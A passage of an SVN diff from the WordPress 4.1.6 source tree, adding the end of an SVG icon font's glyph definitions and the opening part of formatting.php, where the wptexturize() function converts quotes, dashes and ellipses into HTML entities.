+<glyph unicode="&#xf481;" d="M1190 1961l140 -140q50 -6 123.5 1.5t127 15t113 -4t97.5 -49.5t49.5 -97.5t4 -113t-15 -127t-1.5 -123.5l140 -140q29 -29 29 -70.5t-29 -70.5l-919 -920q-30 -29 -71.5 -29t-70.5 29l-778 778q-29 29 -29 70.5t29 71.5l920 919q29 29 70.5 29t70.5 -29zM1248 1736 l-58 -58l495 -495l58 58q-24 75 -15 182q3 47 9 92q11 73 9 123.5t-26 74.5t-74.5 26t-123.5 -9q-45 -6 -92 -9q-107 -9 -182 15zM1650 1643q29 -29 29 -71t-29 -71t-71 -29t-71 29t-29 71t29 71t71 29t71 -29zM978 1607l-71 -70l637 -637l70 71zM836 1466l-70 -71l636 -636 l71 70zM695 1324l-71 -70l637 -637l70 71zM554 1183l-71 -71l636 -636l71 71zM412 1042l-71 -71l637 -637l71 71z" />
+<glyph unicode="&#xf482;" d="M1200 1100v600q0 83 -58.5 141.5t-141.5 58.5t-141.5 -59.5t-58.5 -140.5v-600q0 -82 59 -141t141 -59q84 0 142 59.5t58 140.5zM1600 1100q0 -221 -142.5 -388t-357.5 -203v-209h200q42 0 71 -29.5t29 -70.5t-29 -70.5t-71 -29.5h-600q-41 0 -70.5 29.5t-29.5 70.5 t29.5 70.5t70.5 29.5h200v209q-214 36 -357 203t-143 388q0 41 29.5 70.5t70.5 29.5q42 0 71 -29.5t29 -70.5q0 -166 117.5 -283t282.5 -117q166 0 283 117t117 283q0 41 29.5 70.5t70.5 29.5q42 0 71 -29.5t29 -70.5z" />
+<glyph unicode="&#xf483;" d="M1000 1740q62 0 106 -44t44 -106t-44 -106.5t-106 -44.5t-106 44.5t-44 106.5t44 106t106 44zM340 1264q0 29 165 48t330 24l165 4q660 -11 660 -76q0 -29 -112 -64t-224 -56l-111 -20l59 -306q91 -515 47 -532q-17 -7 -56.5 44t-83 128.5t-84.5 156t-68 134.5l-27 56 l-96 -193q-177 -342 -222 -326q-17 14 -13 96.5t23 209t40.5 244.5t38.5 203l17 85q-448 75 -448 140z" />
+<glyph unicode="&#xf484;" d="M1200 1500v300q0 41 -29.5 70.5t-70.5 29.5h-200q-41 0 -70.5 -29.5t-29.5 -70.5v-300q0 -41 29.5 -70.5t70.5 -29.5h200q41 0 70.5 29.5t29.5 70.5zM1000 1800q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5z M1800 500v800q0 82 -59 141t-141 59h-300v-33q0 -69 -49 -118t-118 -49h-266q-69 0 -118 49t-49 118v33h-300q-82 0 -141 -59t-59 -141v-800q0 -82 59 -141t141 -59h1200q82 0 141 59t59 141zM1700 1100v-600h-1400v600h1400zM900 900q0 41 -14.5 70.5t-35.5 29.5 t-35.5 -29.5t-14.5 -70.5t14.5 -70.5t35.5 -29.5t35.5 29.5t14.5 70.5zM1200 900q0 41 -14.5 70.5t-35.5 29.5t-35.5 -29.5t-14.5 -70.5t14.5 -70.5t35.5 -29.5t35.5 29.5t14.5 70.5zM604 779q151 -79 396 -79t396 79q-16 -76 -129 -127.5t-267 -51.5t-267 51.5t-129 127.5z " />
+<glyph unicode="&#xf485;" d="M19 1408q-22 -18 79 -142t212 -240l112 -115l79 79t184.5 185.5t249.5 256.5t232.5 247t179 206t45.5 89q-30 17 -274 -166.5t-474 -375.5l-229 -191q-4 3 -11.5 7t-32.5 18.5t-47.5 26.5t-57 30.5t-61.5 31t-61 27.5t-55 21t-43.5 10t-26.5 -5zM1542 1310l-315 -315 l-181 182l315 315q25 25 69.5 16t81.5 -47q38 -37 47 -81.5t-17 -69.5zM765 1138l88 109l876 -875l-116 -81q-49 -49 -163 -81t-208 -32h-377l-121 -121q-43 -43 -103 -43t-103 43t-43 103t43 104l121 120v376q0 94 29.5 212.5t76.5 165.5zM1470 752l315 315q25 26 69.5 17 t81.5 -47q38 -37 47 -81t-17 -69l-315 -316z" />
+<glyph unicode="&#xf486;" d="M2000 1462l-101 -282v1q-78 28 -153 -8t-104 -114q-28 -78 7.5 -153t114.5 -103v-1l-101 -282l-1506 538l99 279q78 -28 153 7.5t103 113.5t-7.5 152.5t-113.5 102.5l102 287zM1455 1125q34 108 16.5 208.5t-87 183.5t-171.5 120q-156 55 -305.5 -16t-205.5 -226 q-34 -108 -16.5 -209t87 -184t171.5 -119q155 -55 305 16t206 226zM1199 1599q133 -48 197 -171l-4 2q-24 9 -46.5 -3.5t-31.5 -36.5q-10 -28 5 -91q9 -62 -6 -104q-9 -27 -65 -100l-74 -101l8 408l40 -11q14 -3 18 11t-10 18q-57 15 -92 28l-88 36q-7 3 -12 0t-7.5 -7.5 t-0.5 -10.5t8 -9q16 -8 34 -16l1 -163l-153 -196l8 411l40 -11q14 -3 17.5 11t-10.5 18q-56 15 -91 28q-3 1 -22 8q71 54 159 68t178 -16zM740 1381q25 73 78 127l4 -500q-72 72 -94.5 171.5t12.5 201.5zM1144 906l210 263q49 55 69 112q4 10 11 35q14 -90 -17 -177 q-33 -92 -106.5 -153.5t-166.5 -79.5zM1074 1228l2 -322q0 -4 1 -6q-60 0 -120 21q-49 18 -90 48zM1198 620l210 -75q18 -64 71 -104.5t120 -40.5h1v-300h-1600v296q83 0 141.5 58.5t58.5 141.5q0 82 -59 141t-141 59v304h105l-28 -80l428 -152q-105 -115 -105 -268 q0 -166 117 -283t283 -117t283 117t117 283q0 4 -1 10t-1 10zM545 853l148 -53q-11 -3 -10.5 -15t13.5 -13q18 -2 37 -3l56 -154l-78 -236l-131 390l41 3q9 1 12 8.5t-1 14.5t-13 7q-59 -5 -96 -5q-15 0 -23 1q19 29 45 55zM440 600q0 76 32 146l171 -470q-92 45 -147.5 132 t-55.5 192zM859 741l172 -62q12 -29 12 -61q0 -28 -28 -116l-35 -120zM1160 600q0 -98 -48.5 -181t-130.5 -130l110 318q7 20 14 46l52 -19q3 -17 3 -34zM698 255l108 314l111 -303q0 -1 0.5 -2.5t1.5 -2.5q-60 -21 -119 -21q-47 0 -102 15z" />
+<glyph unicode="&#xf487;" d="M1000 288q240 101 420.5 265.5t283.5 355.5q97 183 106.5 349t-74.5 276q-144 181 -373 174q-99 -3 -194 -42.5t-169 -103.5q-74 64 -169 103.5t-194 42.5q-229 7 -373 -174q-84 -110 -74.5 -276t108.5 -349q101 -191 281.5 -355.5t420.5 -265.5z" />
+<glyph unicode="&#xf488;" d="M1815 1406q66 -233 -2 -448q-31 -96 -91.5 -160.5t-138.5 -87.5q-16 -6 -40 -6q-6 -2 -18 -2q-6 -2 -22 -2h-680l222 -550q3 -18 -14 -34q-13 -16 -34 -16h-302q-21 0 -34 16q-17 17 -14 34l-100 550h-122l-2 2q-37 -4 -78 12.5t-76 49.5q-81 78 -106 188q-33 110 -2 220 q27 94 106 130l2 2l900 540q20 12 24 16q9 6 24 12q19 10 50 18q77 22 162 -4.5t160 -93.5q76 -68 135.5 -168t90.5 -218zM1557 808h-2q58 14 104 70q86 104 86 304q0 92 -28 198q-50 199 -178 324q-58 56 -123 80t-123 8q-122 -33 -170 -200q-48 -156 6 -372 q59 -212 180 -324q126 -119 248 -88zM1303 1516q30 6 62 -4q66 -28 102 -100q42 -84 42 -178q0 -44 -12 -80q-30 -81 -86 -94q-26 -8 -57.5 3.5t-56.5 36.5q-58 58 -78 150q-24 83 2 172q10 35 33 60.5t49 33.5z" />
+<glyph unicode="&#xf489;" d="M200 1800h1600v-400h-1600v400zM200 800v400h400v-400h-400zM800 1000v200h400v-200h-400zM1400 700v500h400v-500h-400zM800 200v600h400v-600h-400zM200 200v400h400v-400h-400zM1400 200v300h400v-300h-400z" />
+<glyph unicode="&#xf490;" d="M1200 1800l400 -400v-1200h-1200v1600h800zM1200 1400h300l-300 300v-300zM1100 600v300q0 40 -29 71q-31 29 -71 29h-300q-40 0 -71 -29q-29 -31 -29 -71v-300q0 -40 29 -71q31 -29 71 -29h300q40 0 71 29q29 31 29 71zM1400 500v500l-200 -200v-100z" />
+<glyph unicode="&#xf491;" d="M1200 1800l400 -400v-1200h-1200v1600h800zM500 1700v-100h600v100h-600zM1200 1400h300l-300 300v-300zM500 1500v-100h600v100h-600zM1500 1200v100h-1000v-100h1000zM1500 1000v100h-1000v-100h1000zM1500 800v100h-1000v-100h1000zM1100 600v100h-600v-100h600z" />
+<glyph unicode="&#xf492;" d="M1700 1700v200h-1500v-200h1500zM1700 1300v200h-1500v-200h1500zM1000 900v200h-800v-200h800zM1745 1096l-600 -112q-18 -2 -29 -13q-16 -13 -16 -37v-459q-31 14 -93 14q-81 0 -138 -57q-56 -56 -56 -138q0 -81 56 -137q57 -57 138 -57q73 0 129 48q56 49 65 119v495 l499 111v-348q-42 19 -83 19q-92 0 -149 -57q-57 -56 -57 -137q0 -80 57 -137t138 -57q80 0 137 57t57 137v690q0 25 -16 41q-16 18 -39 15zM800 500v200h-600v-200h600zM600 100v200h-400v-200h400z" />
+<glyph unicode="&#xf493;" d="M1700 1700v200h-1500v-200h1500zM1700 1300v200h-1500v-200h1500zM600 900v200h-400v-200h400zM800 1100h900q41 0 70.5 -29.5t29.5 -70.5v-800q0 -41 -29.5 -70.5t-70.5 -29.5h-900q-41 0 -70.5 29.5t-29.5 70.5v800q0 41 29.5 70.5t70.5 29.5zM1100 400l333 200 l-333 200v-400zM600 500v200h-400v-200h400zM600 100v200h-400v-200h400z" />
+<glyph unicode="&#xf494;" d="M900 1400l-400 -400l400 -400l-100 -200l-600 600l600 600zM1100 600l400 400l-400 400l100 200l600 -600l-600 -600z" />
+<glyph unicode="&#xf495;" d="M1200 1800l400 -400v-1200h-1200v1600h800zM1100 1400v300h-600v-300h600zM800 1200v100h-300v-100h300zM1100 1200v100h-200v-100h200zM1500 1200v100h-300v-100h300zM800 1000v100h-300v-100h300zM1100 1000v100h-200v-100h200zM1500 1000v100h-300v-100h300zM800 800 v100h-300v-100h300zM1100 800v100h-200v-100h200zM1500 800v100h-300v-100h300zM800 600v100h-300v-100h300zM1100 600v100h-200v-100h200zM1500 600v100h-300v-100h300zM800 400v100h-300v-100h300zM1100 400v100h-200v-100h200z" />
+<glyph unicode="&#xf496;" d="M1200 1800l400 -400v-1200h-1200v1600h800zM1200 1400h300l-300 300v-300zM1400 600v600h-800v-600h300l-100 -200h100l100 200l100 -200h100l-100 200h300zM800 900q-41 0 -70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5t70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5z M1300 1100v-200h-300v200h300zM1300 800v-100h-600v100h600z" />
+<glyph unicode="&#xf497;" d="M1200 1800l400 -400v-1200h-1200v1600h800zM500 1700v-100h600v100h-600zM1200 1400h300l-300 300v-300zM500 1500v-100h600v100h-600zM1500 1200v100h-1000v-100h1000zM500 1100v-100h400v100h-400zM1500 800v300h-500v-300h500zM500 900v-100h400v100h-400zM1500 600 v100h-1000v-100h1000zM1200 400v100h-700v-100h700z" />
+<glyph unicode="&#xf498;" d="M1200 1800l400 -400v-1200h-1200v1600h800zM1200 1400h300l-300 300v-300z" />
+<glyph unicode="&#xf499;" d="M1200 1800l400 -400v-1200h-1200v1600h800zM900 700l-200 200l200 200l-100 100l-300 -300l300 -300zM1200 600l300 300l-300 300l-100 -100l200 -200l-200 -200z" />
+<glyph unicode="&#xf500;" d="M1200 1800l400 -400v-1200h-1200v1600h800zM1200 1400h300l-300 300v-300zM1300 674v517q0 17 -12 29q-10 12 -27 10q-397 -71 -425 -78q-36 -7 -36 -52v-337q-16 7 -60 7q-57 0 -96 -39q-40 -42 -40 -96q0 -55 40 -95q39 -40 96 -40q65 0 96 26q64 57 64 112v332l300 60 v-230q-87 26 -144 -31q-39 -39 -39 -95t39 -96q40 -39 108 -39q57 0 96 39q40 42 40 96z" />
+<glyph unicode="&#xf501;" d="M1200 1800l400 -400v-1200h-1200v1600h800zM1200 1400h300l-300 300v-300zM800 1650v-200l180 100zM1100 1500l-180 -100l180 -100v200zM800 1350v-200l180 100zM1100 1200l-180 -100l180 -100v200zM800 1050v-200l180 100zM1100 900l-180 -100l180 -100v200zM950 300 q64 0 111.5 48.5t38.5 114.5q-2 17 -14.5 57t-23.5 72l-11 32l-199 110q-45 -195 -52 -271q-5 -59 42 -111t108 -52zM950 539q32 0 54 -22.5t22 -53.5q0 -32 -22 -54.5t-54 -22.5t-54 22.5t-22 54.5q0 31 22 53.5t54 22.5z" />
+<glyph unicode="&#xf502;" d="M1580 1580q157 -158 213 -369t0 -422t-213 -369q-158 -157 -369 -213t-422 0t-369 213q-157 158 -213 369t0 422t213 369q158 157 369 213t422 0t369 -213zM1150 450v400h400v300h-400v400h-300v-400h-400v-300h400v-400h300z" />
+<glyph unicode="&#xf503;" d="M1800 1399l-400 -299v200h-400l-500 -800h-300v200h200l500 800h500v200zM200 1500h300l115 -217l-112 -180l-103 197h-200v200zM1800 599l-400 -299v200h-500l-115 217l112 180l103 -197h400v200z" />
+<glyph unicode="&#xf504;" d="M900 1700h800v-800l-200 100v308l-560 -559l-141 141l609 610h-408zM1200 500v300l200 200v-700h-1100v1100h800l-200 -200h-400v-700h700z" />
+<glyph unicode="&#xf506;" d="M1575 1325l225 375v-1400l-225 375l125 125h-400v-400l125 125l375 -225h-1600l375 225l125 -125v400h-400l125 -125l-225 -375v1400l225 -375l-125 -125h400v400l-125 -125l-375 225h1600l-375 -225l-125 125v-400h400z" />
+<glyph unicode="&#xf507;" d="M1900 1000q0 183 -71.5 349.5t-192 287t-287 192t-349.5 71.5t-349.5 -71.5t-287 -192t-192 -287t-71.5 -349.5t71.5 -349.5t192 -287t287 -192t349.5 -71.5t349.5 71.5t287 192t192 287t71.5 349.5zM1000 1740q62 0 106 -44t44 -106t-44 -106.5t-106 -44.5t-106 44.5 t-44 106.5t44 106t106 44zM340 1264q0 29 165 48t330 24l165 4q660 -11 660 -76q0 -29 -112 -64t-224 -56l-111 -20l59 -306q91 -515 47 -532q-17 -7 -56.5 44t-83 128.5t-84.5 156t-68 134.5l-27 56l-96 -193q-177 -342 -222 -326q-17 14 -13 96.5t23 209t40.5 244.5 t38.5 203l17 85q-448 75 -448 140z" />
+<glyph unicode="&#xf508;" d="M1500 1600h300v-1500h-1600v1500h300v100q0 60 44 106q44 44 106 44t106 -44q44 -46 44 -106v-100h400v100q0 60 44 106q44 44 106 44t106 -44q44 -46 44 -106v-100zM600 1700v-250q0 -21 15 -36q14 -14 35 -14t35 14q15 15 15 36v250q0 22 -15 35q-13 15 -35 15t-35 -15 q-15 -13 -15 -35zM1300 1700v-250q0 -20 14 -36q16 -14 36 -14t36 14q14 16 14 36v250q0 21 -14 35q-15 15 -36 15t-36 -15q-14 -14 -14 -35zM1700 200v1000h-1400v-1000h1400zM700 1100v-200h-200v200h200zM900 1100h200v-200h-200v200zM1300 900v200h200v-200h-200z M700 800v-200h-200v200h200zM900 800h200v-200h-200v200zM1300 600v200h200v-200h-200zM700 500v-200h-200v200h200zM1100 300h-200v200h200v-200zM1500 300h-200v200h200v-200z" />
+<glyph unicode="&#xf509;" d="M200 1900h1600q41 0 70.5 -29.5t29.5 -70.5v-1600q0 -41 -29.5 -70.5t-70.5 -29.5h-1600q-41 0 -70.5 29.5t-29.5 70.5v1600q0 41 29.5 70.5t70.5 29.5zM901 1101v600h-601v-600h601zM1701 1101v600h-600v-600h600zM901 300v600h-601v-600h601zM1701 300v600h-600v-600 h600z" />
+<glyph unicode="&#xf510;" d="M100 1683v-1483h1800v1400h-1100v83q0 48 -35 83q-34 34 -83 34h-464q-49 0 -83 -34q-35 -34 -35 -83zM1000 1400v-200h-700v200h700zM1700 1400v-1000h-500v1000h500zM1000 1000v-200h-700v200h700zM1000 600v-200h-700v200h700z" />
+<glyph unicode="&#xf511;" d="M200 157q28 -27 94 -18.5t154 38t194.5 81.5t215 113t215 131.5t194.5 136.5t154 129.5t93 109.5q36 60 23.5 137.5t-58 155t-117.5 151.5q32 21 66.5 21t64.5 -17.5t62.5 -41.5t61 -50.5t59.5 -46t58 -26.5t57 8q46 24 68.5 85.5t1.5 106.5q-12 26 -36.5 45.5 t-47.5 30.5t-64 20t-63 12t-70 7.5t-61 5.5q36 9 80 27.5t92 47t80.5 68.5t33.5 82q3 69 -66.5 131.5t-138.5 54.5q-25 -3 -47 -14t-40 -32.5t-31.5 -41t-27.5 -53t-22 -52.5t-20.5 -56.5t-17.5 -50.5q-16 223 -98 295q-55 43 -106 38t-88 -46.5t-38 -96.5q-1 -31 19 -62.5 t49 -56t60.5 -54.5t53 -57t27 -63.5t-16.5 -73.5q-78 60 -157.5 96.5t-155.5 44t-133 -26.5q-70 -45 -163 -169q168 -178 309 -272q15 -11 18.5 -29t-7.5 -33q-10 -16 -28.5 -19.5t-33.5 7.5q-138 94 -310 271q-71 -105 -134 -223q157 -158 279 -241q15 -11 18 -29t-7 -33 q-10 -16 -28.5 -19.5t-34.5 7.5q-117 80 -271 232q-143 -282 -212 -524t-5 -299z" />
+<glyph unicode="&#xf512;" d="M300 0h1400v2000h-1400v-2000zM700 1700h-200v200h200v-200zM1100 1700h-200v200h200v-200zM1500 1700h-200v200h200v-200zM700 1400h-200v200h200v-200zM1100 1400h-200v200h200v-200zM1500 1400h-200v200h200v-200zM700 1100h-200v200h200v-200zM1100 1100h-200v200 h200v-200zM1500 1100h-200v200h200v-200zM700 800h-200v200h200v-200zM1100 800h-200v200h200v-200zM1500 800h-200v200h200v-200zM1100 100h-600v600h600v-600zM1500 500h-200v200h200v-200zM1500 200h-200v200h200v-200z" />
+<glyph unicode="&#xf513;" d="M100 1000q61 -43 150 -43t150 43q100 74 100 200q0 -127 100 -200q61 -43 150 -43t150 43q100 74 100 200q0 -127 100 -200q61 -43 151 -43q88 0 149 43q100 74 100 200q0 -127 100 -200q61 -43 150 -43t150 43q100 73 100 200v100l-300 700h-1300l-400 -700v-100 q0 -127 100 -200zM300 101h500v500h400v-500h500v700q-52 7 -100 43q-38 27 -55.5 43t-31 44.5t-13.5 68.5q0 -30 -6 -52t-22 -41t-29.5 -30.5t-42.5 -32.5q-58 -42 -149 -44q-91 0 -151 44q-38 27 -55.5 43t-31 44.5t-13.5 68.5q0 -30 -6 -52t-22 -41t-29.5 -30.5 t-42.5 -32.5q-58 -42 -150 -44q-90 0 -150 44q-38 27 -55.5 43t-31 45t-13.5 69q0 -31 -6 -53t-22 -41t-29.5 -30.5t-42.5 -32.5q-49 -36 -100 -44v-699z" />
+<glyph unicode="&#xf514;" d="M0 200h1000v26q241 -63 476 24q122 45 222.5 125t167.5 183t102.5 221t31.5 246.5t-49 250.5q-42 115 -116 211t-167.5 161.5t-204.5 106t-227 44t-236 -24.5v26h-1000v-1600zM900 1700v-1400h-800v1400h800zM1445 878q-51 -101 -158.5 -137t-208.5 14q-46 22 -78 59v373 q61 65 149.5 82t172.5 -24q101 -51 137 -158.5t-14 -208.5zM1170 960q16 -12 36.5 -9t33.5 19q12 16 9 36.5t-19 33.5q-17 13 -37 10t-33 -20q-12 -16 -9 -36.5t19 -33.5zM1471 593q-86 -57 -187.5 -75t-195.5 6q-20 5 -31 23t-6 38t23 30.5t39 5.5l17 -4q155 -27 286 59 q72 49 114 118q11 17 31 21.5t38 -5.5q17 -11 22 -31.5t-6 -37.5q-57 -90 -144 -148zM1576 436q-109 -73 -234 -99.5t-250 -6.5q-21 4 -33 21.5t-8 38.5q4 20 21.5 31.5t39.5 7.5l22 -4q211 -24 387 94q101 67 170 174q10 18 30.5 22.5t37.5 -6.5q18 -10 22.5 -30.5 t-6.5 -38.5q-76 -122 -199 -204z" />
+<glyph unicode="&#xf515;" d="M500 1300v-300l-200 -150v650h1100v200l400 -301l-400 -299v200h-900zM1500 700v300l200 150v-650h-1100v-200l-400 301l400 299v-200h900z" />
+<glyph unicode="&#xf516;" d="M1198 1237l600 360v-1200l-600 360v-360l-800 480v-480h-200v1200h200v-480l800 480v-360z" />
+<glyph unicode="&#xf517;" d="M800 760l-600 -360v1200l600 -360v360l800 -480v480h200v-1200h-200v480l-800 -480v360z" />
+<glyph unicode="&#xf518;" d="M200 1000l1000 600v-360l600 360v-1200l-600 360v-360z" />
+<glyph unicode="&#xf519;" d="M1800 1000l-1000 -600v360l-600 -360v1200l600 -360v360z" />
+<glyph unicode="&#xf520;" d="M200 1300h400l500 400v-1400l-500 400h-400v600z" />
+<glyph unicode="&#xf521;" d="M200 1300h400l500 400v-1400l-500 400h-400v600zM1469 1546q8 -3 22.5 -10t48 -29t65.5 -49.5t68.5 -73t63.5 -98.5t45 -128t18 -158t-18 -158t-45 -128t-63.5 -98.5t-68.5 -73t-65.5 -49.5t-48 -29t-22.5 -10q-8 -4 -19 -4q-35 0 -46 31q-8 19 0 38t27 27q10 5 19 9 t38.5 23.5t53.5 41.5t55 60.5t52 82t36 106t15 131.5q0 96 -28.5 178t-65 129.5t-80 84t-65.5 48t-30 14.5q-19 8 -27 27t0 38t27 27t38 0zM1600 1000q0 -70 -23.5 -131.5t-50 -96t-68.5 -65.5t-55 -37.5t-34 -15.5l-1 -1q-9 -3 -18 -3q-34 0 -47 32q-7 19 1.5 38t27.5 27 q6 2 20.5 9t41.5 27.5t49.5 47.5t39.5 72t17 97t-17 97t-39.5 72t-49.5 47.5t-41.5 27.5t-20.5 9q-19 8 -27.5 27t-1.5 38q8 19 27 27.5t38 1.5q145 -64 202 -195q30 -70 30 -152z" />
+<glyph unicode="&#xf522;" d="M500 1600l1000 -600l-1000 -600v1200z" />
+<glyph unicode="&#xf523;" d="M500 400v1200h300v-1200h-300zM1200 1600h300v-1200h-300v1200z" />
+<glyph unicode="&#xf524;" d="M2000 1362l-101 -282v1q-77 28 -153 -8t-104 -114q-28 -77 7 -153q36 -75 115 -103v-1l-101 -282l-1506 538l99 279q77 -28 153 8q74 34 103 113q28 77 -8 153q-34 73 -113 102l102 287zM1503 793l137 376q18 47 -4 95q-22 46 -70 65l-752 273q-48 17 -95.5 -5t-64.5 -69 l-137 -376q-18 -49 4 -96t70 -64l752 -274q22 -8 43 -8q39 0 71.5 23t45.5 60zM797 1555l751 -273q29 -11 43 -39q13 -28 2 -57l-137 -376q-10 -28 -38.5 -42t-57.5 -3l-751 274q-29 10 -42.5 38.5t-2.5 57.5l137 376q7 22 27 35.5t43 13.5q11 0 26 -5zM1479 341 q53 -41 120 -41h1v-300h-1600v296q84 0 141 59q59 57 59 141q0 82 -59 141t-141 59v304h105l-28 -80l287 -102q-39 -12 -64 -44.5t-25 -73.5v-400q0 -52 36.5 -88.5t88.5 -36.5h800q52 0 88.5 36.5t36.5 88.5v175l83 -30q18 -65 71 -104zM325 300v400q0 31 22 53t53 22h83 l792 -283v-192q0 -31 -22 -53t-53 -22h-800q-31 0 -53 22t-22 53z" />
+<glyph unicode="&#xf525;" d="M1206 1400l-21 20q-26 27 -32 47t3.5 38t36.5 45l272 275q11 11 27.5 28.5t23.5 24.5t19 17.5t18.5 12t17 3.5t19.5 -3t21 -13t27 -22l21 -20zM1259 1355l440 440q21 -28 41.5 -59.5t47 -78t45 -95t31 -100t10 -104t-21.5 -97.5q-33 -76 -59 -117.5t-69.5 -93 t-71.5 -89.5q-226 -257 -600 -607q-41 -29 -90 -72.5t-91.5 -70.5t-118.5 -57q-43 -17 -95 -18t-103.5 12.5t-100.5 31.5t-97 44.5t-80 45.5t-62 40l440 440l118 -162q16 -23 48.5 -16.5t66 28.5t65.5 54q23 23 92.5 93t118 118.5t104.5 106.5t85 89q32 32 53.5 65t29 65.5 t-16.5 49.5zM157 350l-21 21q-15 16 -23.5 28t-9.5 24.5t-1 19.5t11 21t17 20.5t27 26.5t31 30l274 272q41 39 63.5 42.5t63.5 -31.5l20 -21z" />
+<glyph unicode="&#xf526;" d="M0 1700h2000v-1200h-75q0 134 -95.5 229.5t-229.5 95.5q-96 0 -175 -52.5t-119 -138.5q-40 16 -81 16q-72 0 -129.5 -42t-81.5 -108h-1014v1200zM837 1389q-10 -24 -11 -47q-2 -27 1 -50l2 -8q3 -16 5 -23q2 -8 10 -31q3 -11 15 -33q9 -15 23 -31q13 -15 31 -23 q18 -9 40 -9q21 0 39 9q16 8 30 22q12 12 22 32q9 15 16 33q6 15 9 31q2 7 3 15l2 7q1 4 1 9q7 41 -4 82q-10 38 -41 66q-32 27 -79 27q-29 0 -52 -10q-24 -11 -38 -28q-12 -15 -24 -40zM1285 785v114q0 49 -29 98t-77 79q-47 31 -102 31l-124 -84l-128 82q-56 0 -104 -30 q-47 -30 -74 -77q-27 -48 -27 -99v-114l18 -5q1 0 51 -14q40 -9 74 -15q31 -6 91 -13q57 -5 99 -5q40 0 98 5q58 7 89 13q22 3 76 16l50 12q11 3 19 6zM1600 775q114 0 194.5 -80.5t80.5 -194.5t-80.5 -194.5t-194.5 -80.5q-107 0 -187 77q37 56 37 123q0 57 -26.5 106.5 t-72.5 79.5q33 74 100 119t149 45zM1050 425q0 72 51.5 123.5t123.5 51.5t123.5 -51.5t51.5 -123.5t-51.5 -123.5t-123.5 -51.5t-123.5 51.5t-51.5 123.5z" />
+<glyph unicode="&#xf527;" d="M858 1761q47 0 81 -14q88 -39 128.5 -146.5t41.5 -250.5q56 77 156 153t185 76q41 0 80 -9.5t81.5 -34.5t78 -64t66 -102.5t47.5 -144.5q-163 94 -365 94q-198 0 -329 -89q58 16 133 16q111 0 207.5 -34.5t132.5 -96.5q34 -58 38.5 -140.5t-25.5 -160t-89 -113.5 q-7 104 -55.5 199t-127 154t-164.5 59q-67 0 -133 -38q-109 -66 -184 -214.5t-108.5 -339.5t-33.5 -420h-500q0 160 46.5 313t124 273.5t177.5 222t207 168.5t213 102q-93 15 -182 15q-321 0 -586 -194q28 107 78 188t114 128.5t133.5 70.5t143.5 23q93 0 178 -34.5 t142 -94.5q-24 80 -68.5 138.5t-101.5 89t-115.5 44.5t-122.5 14q-113 0 -205 -35q66 93 215 161t267 68zM1300 850q0 62 -44 106t-106 44t-106 -44t-44 -106t44 -106t106 -44t106 44t44 106z" />
+<glyph horiz-adv-x="600" />
+</font>
+</defs></svg> 
Index: /tags/4.1.6/src/wp-includes/formatting.php
===================================================================
--- /tags/4.1.6/src/wp-includes/formatting.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/formatting.php	(revision 33402)
@@ -0,0 +1,4078 @@
+<?php
+/**
+ * Main WordPress Formatting API.
+ *
+ * Handles many functions for formatting output.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Replaces common plain text characters into formatted entities
+ *
+ * As an example,
+ *
+ *     'cause today's effort makes it worth tomorrow's "holiday" ...
+ *
+ * Becomes:
+ *
+ *     &#8217;cause today&#8217;s effort makes it worth tomorrow&#8217;s &#8220;holiday&#8221; &#8230;
+ *
+ * Code within certain html blocks are skipped.
+ *
+ * @since 0.71
+ * @uses $wp_cockneyreplace Array of formatted entities for certain common phrases
+ *
+ * @param string $text The text to be formatted
+ * @param bool $reset Set to true for unit testing. Translated patterns will reset.
+ * @return string The string replaced with html entities
+ */
+function wptexturize($text, $reset = false) {
+	global $wp_cockneyreplace, $shortcode_tags;
+	static $static_characters, $static_replacements, $dynamic_characters, $dynamic_replacements,
+		$default_no_texturize_tags, $default_no_texturize_shortcodes, $run_texturize = true;
+
+	// If there's nothing to do, just stop.
+	if ( empty( $text ) || false === $run_texturize ) {
+		return $text;
+	}
+
+	// Set up static variables. Run once only.
+	if ( $reset || ! isset( $static_characters ) ) {
+		/**
+		 * Filter whether to skip running wptexturize().
+		 *
+		 * Passing false to the filter will effectively short-circuit wptexturize().
+		 * returning the original text passed to the function instead.
+		 *
+		 * The filter runs only once, the first time wptexturize() is called.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @see wptexturize()
+		 *
+		 * @param bool $run_texturize Whether to short-circuit wptexturize().
+		 */
+		$run_texturize = apply_filters( 'run_wptexturize', $run_texturize );
+		if ( false === $run_texturize ) {
+			return $text;
+		}
+
+		/* translators: opening curly double quote */
+		$opening_quote = _x( '&#8220;', 'opening curly double quote' );
+		/* translators: closing curly double quote */
+		$closing_quote = _x( '&#8221;', 'closing curly double quote' );
+
+		/* translators: apostrophe, for example in 'cause or can't */
+		$apos = _x( '&#8217;', 'apostrophe' );
+
+		/* translators: prime, for example in 9' (nine feet) */
+		$prime = _x( '&#8242;', 'prime' );
+		/* translators: double prime, for example in 9" (nine inches) */
+		$double_prime = _x( '&#8243;', 'double prime' );
+
+		/* translators: opening curly single quote */
+		$opening_single_quote = _x( '&#8216;', 'opening curly single quote' );
+		/* translators: closing curly single quote */
+		$closing_single_quote = _x( '&#8217;', 'closing curly single quote' );
+
+		/* translators: en dash */
+		$en_dash = _x( '&#8211;', 'en dash' );
+		/* translators: em dash */
+		$em_dash = _x( '&#8212;', 'em dash' );
+
+		$default_no_texturize_tags = array('pre', 'code', 'kbd', 'style', 'script', 'tt');
+		$default_no_texturize_shortcodes = array('code');
+
+		// if a plugin has provided an autocorrect array, use it
+		if ( isset($wp_cockneyreplace) ) {
+			$cockney = array_keys($wp_cockneyreplace);
+			$cockneyreplace = array_values($wp_cockneyreplace);
+		} elseif ( "'" != $apos ) { // Only bother if we're doing a replacement.
+			$cockney = array( "'tain't", "'twere", "'twas", "'tis", "'twill", "'til", "'bout", "'nuff", "'round", "'cause" );
+			$cockneyreplace = array( $apos . "tain" . $apos . "t", $apos . "twere", $apos . "twas", $apos . "tis", $apos . "twill", $apos . "til", $apos . "bout", $apos . "nuff", $apos . "round", $apos . "cause" );
+		} else {
+			$cockney = $cockneyreplace = array();
+		}
+
+		$static_characters = array_merge( array( '...', '``', '\'\'', ' (tm)' ), $cockney );
+		$static_replacements = array_merge( array( '&#8230;', $opening_quote, $closing_quote, ' &#8482;' ), $cockneyreplace );
+
+
+		// Pattern-based replacements of characters.
